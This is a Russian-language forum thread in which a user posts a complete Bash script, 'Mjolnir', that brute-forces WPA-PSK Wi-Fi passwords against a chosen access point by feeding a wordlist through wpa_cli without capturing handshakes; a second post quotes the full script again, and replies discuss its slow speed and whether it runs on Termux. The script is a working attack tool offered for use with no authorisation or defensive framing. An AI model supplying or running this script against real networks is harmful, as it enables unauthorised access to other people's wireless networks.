• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Soft WiFi brute Mjolnir - Брут паролей без захвата рукопожатий.

centr

centr

Премиум
31.01.2017
414
410
Простой скрипт для перебора паролей к точке доступа WiFi сетей без захвата рукопожатий.
Скрипт работает напрямую с точкой доступа, работает медленно, но уверено!

WiFi brute Mjolnir - Брут паролей без захвата рукопожатий.


Bash:
#!/bin/bash
#https://github.com/rasta-mouse/Mjolnir
### text colours ###

red='\e[0;31m'
green='\e[0;32m'
blue='\e[0;34m'
nc='\e[0m'

### art ###

echo '
  __  __ _ _   _ _       _     
 |  \/  (_(_) (_| |     (_)     
 | \  / |_  ___ | |_ __  _ _ __
 | |\/| | |/ _ \| |  _ \| |  __|
 | |  | | | (_) | | | | | | |   
 |_|  |_| |\___/|_|_| |_|_|_|   
       _/ |                     
      |__/                     
                             v1
'
### input & variables ###

loc=/tmp/wpa_supplicant.conf

echo -n "Target ESSID: "
read ssid

if [ -z "$ssid" ]; then
    echo -e "${red}[x]${nc} ESSID required."
    exit 1
fi

echo -n "Password List (full path): "
read list

if [ ! -f "$list" -o -z "$list" ]; then
    echo -e "${red}[x]${nc} File not found."
    exit 1
fi

echo -n "Wireless Interface (e.g. wlan0): "
read int

if [ -z "$int" ]; then
    echo -e "${red}[x]${nc} Interface required."
    exit 1
fi

echo ""
echo -e "${blue}[-]${nc} Launching..."

psk=$(cat $list)

### functions ###

function killSup {
    echo -e "${blue}[-]${nc} Killing instances of wpa_supplicant"
    killall wpa_supplicant > /dev/null 2>&1
}

function prepConf {
    echo -e "${blue}[-]${nc} Prepping wpa_supplicant.conf"
    echo ctrl_interface=/var/run/wpa_supplicant > $loc
}

function prepSup {
    # use nl80211 if available. it's much faster
    if [ "`wpa_supplicant | grep -o nl80211`" ]; then
        driver='nl80211'
    else
        driver='wext'
    fi
    wpa_supplicant -B -D${driver} -i${int} -c$loc > /dev/null 2>&1
    pid=$(ps aux | grep [D]${driver} | awk '{ print $2 }')
    echo -e "${blue}[-]${nc} Daemonising wpa_supplicant (PID "$pid")"
}

function clearNetworks {
    echo -e "${blue}[-]${nc} Purging network list"
    for i in `wpa_cli -i${int} list_networks | grep ^[0-9] | cut -f1`; do
        wpa_cli -i${int} remove_network $i > /dev/null 2>&1
    done
}

function addNetwork {
    echo -e "${blue}[-]${nc} Adding network entry for ${ssid}"
    wpa_cli -i${int} add_network > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 auth_alg OPEN > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 key_mgmt WPA-PSK > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 proto RSN > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 mode 0 > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 ssid '"'${ssid}'"' > /dev/null 2>&1
}


function mainGuess {
    echo -e "${blue}[-]${nc} Bruteforcing ${ssid}"

    for psk in `cat $list`; do
        echo Trying "${psk}"
        wpa_cli -i${int} set_network 0 psk '"'${psk}'"' > /dev/null 2>&1
        wpa_cli -i${int} select_network 0 > /dev/null 2>&1
        wpa_cli -i${int} enable_network 0 > /dev/null 2>&1
        wpa_cli -i${int} reassociate > /dev/null 2>&1

        for i in {1..12}; do
            netStatus=$(wpa_cli -i${int} status | grep wpa_state | cut -d"=" -f2)
            if [ "$netStatus" == "COMPLETED" ]; then
                echo -e "${green}[+] ${nc}$ssid: $psk"
                return
            fi
            sleep 1
        done
    done
}

function cleanUp {
    echo -e "${blue}[-]${nc} Cleaning up..."
    killall wpa_supplicant > /dev/null 2>&1
    killall wpa_cli > /dev/null 2>&1
    rm $loc > /dev/null 2>&1
}


killSup
prepConf
prepSup
clearNetworks
addNetwork
mainGuess &
    wait
cleanUp
 
П

Петручо

Happy New Year
27.11.2016
88
7
а какова примерно скорость брута ?
 
M

mirnitqwq

Member
09.09.2019
19
0
Простой скрипт для перебора паролей к точке доступа WiFi сетей без захвата рукопожатий.
Скрипт работает напрямую с точкой доступа, работает медленно, но уверено!

Посмотреть вложение 27203

Bash:
#!/bin/bash
#https://github.com/rasta-mouse/Mjolnir
### text colours ###

red='\e[0;31m'
green='\e[0;32m'
blue='\e[0;34m'
nc='\e[0m'

### art ###

echo '
  __  __ _ _   _ _       _    
|  \/  (_(_) (_| |     (_)    
| \  / |_  ___ | |_ __  _ _ __
| |\/| | |/ _ \| |  _ \| |  __|
| |  | | | (_) | | | | | | |  
|_|  |_| |\___/|_|_| |_|_|_|  
       _/ |                    
      |__/                    
                             v1
'
### input & variables ###

loc=/tmp/wpa_supplicant.conf

echo -n "Target ESSID: "
read ssid

if [ -z "$ssid" ]; then
    echo -e "${red}[x]${nc} ESSID required."
    exit 1
fi

echo -n "Password List (full path): "
read list

if [ ! -f "$list" -o -z "$list" ]; then
    echo -e "${red}[x]${nc} File not found."
    exit 1
fi

echo -n "Wireless Interface (e.g. wlan0): "
read int

if [ -z "$int" ]; then
    echo -e "${red}[x]${nc} Interface required."
    exit 1
fi

echo ""
echo -e "${blue}[-]${nc} Launching..."

psk=$(cat $list)

### functions ###

function killSup {
    echo -e "${blue}[-]${nc} Killing instances of wpa_supplicant"
    killall wpa_supplicant > /dev/null 2>&1
}

function prepConf {
    echo -e "${blue}[-]${nc} Prepping wpa_supplicant.conf"
    echo ctrl_interface=/var/run/wpa_supplicant > $loc
}

function prepSup {
    # use nl80211 if available. it's much faster
    if [ "`wpa_supplicant | grep -o nl80211`" ]; then
        driver='nl80211'
    else
        driver='wext'
    fi
    wpa_supplicant -B -D${driver} -i${int} -c$loc > /dev/null 2>&1
    pid=$(ps aux | grep [D]${driver} | awk '{ print $2 }')
    echo -e "${blue}[-]${nc} Daemonising wpa_supplicant (PID "$pid")"
}

function clearNetworks {
    echo -e "${blue}[-]${nc} Purging network list"
    for i in `wpa_cli -i${int} list_networks | grep ^[0-9] | cut -f1`; do
        wpa_cli -i${int} remove_network $i > /dev/null 2>&1
    done
}

function addNetwork {
    echo -e "${blue}[-]${nc} Adding network entry for ${ssid}"
    wpa_cli -i${int} add_network > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 auth_alg OPEN > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 key_mgmt WPA-PSK > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 proto RSN > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 mode 0 > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 ssid '"'${ssid}'"' > /dev/null 2>&1
}


function mainGuess {
    echo -e "${blue}[-]${nc} Bruteforcing ${ssid}"

    for psk in `cat $list`; do
        echo Trying "${psk}"
        wpa_cli -i${int} set_network 0 psk '"'${psk}'"' > /dev/null 2>&1
        wpa_cli -i${int} select_network 0 > /dev/null 2>&1
        wpa_cli -i${int} enable_network 0 > /dev/null 2>&1
        wpa_cli -i${int} reassociate > /dev/null 2>&1

        for i in {1..12}; do
            netStatus=$(wpa_cli -i${int} status | grep wpa_state | cut -d"=" -f2)
            if [ "$netStatus" == "COMPLETED" ]; then
                echo -e "${green}[+] ${nc}$ssid: $psk"
                return
            fi
            sleep 1
        done
    done
}

function cleanUp {
    echo -e "${blue}[-]${nc} Cleaning up..."
    killall wpa_supplicant > /dev/null 2>&1
    killall wpa_cli > /dev/null 2>&1
    rm $loc > /dev/null 2>&1
}


killSup
prepConf
prepSup
clearNetworks
addNetwork
mainGuess &
    wait
cleanUp
на termux работает ?
 
centr

centr

Премиум
31.01.2017
414
410
а какова примерно скорость брута ?
Серьёзно?
Скорость самая низкая.
Это будет самый время затратный способ из всех доступных.

на termux работает ?
Исходник перед вами, что мешает проверить самому?
 
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб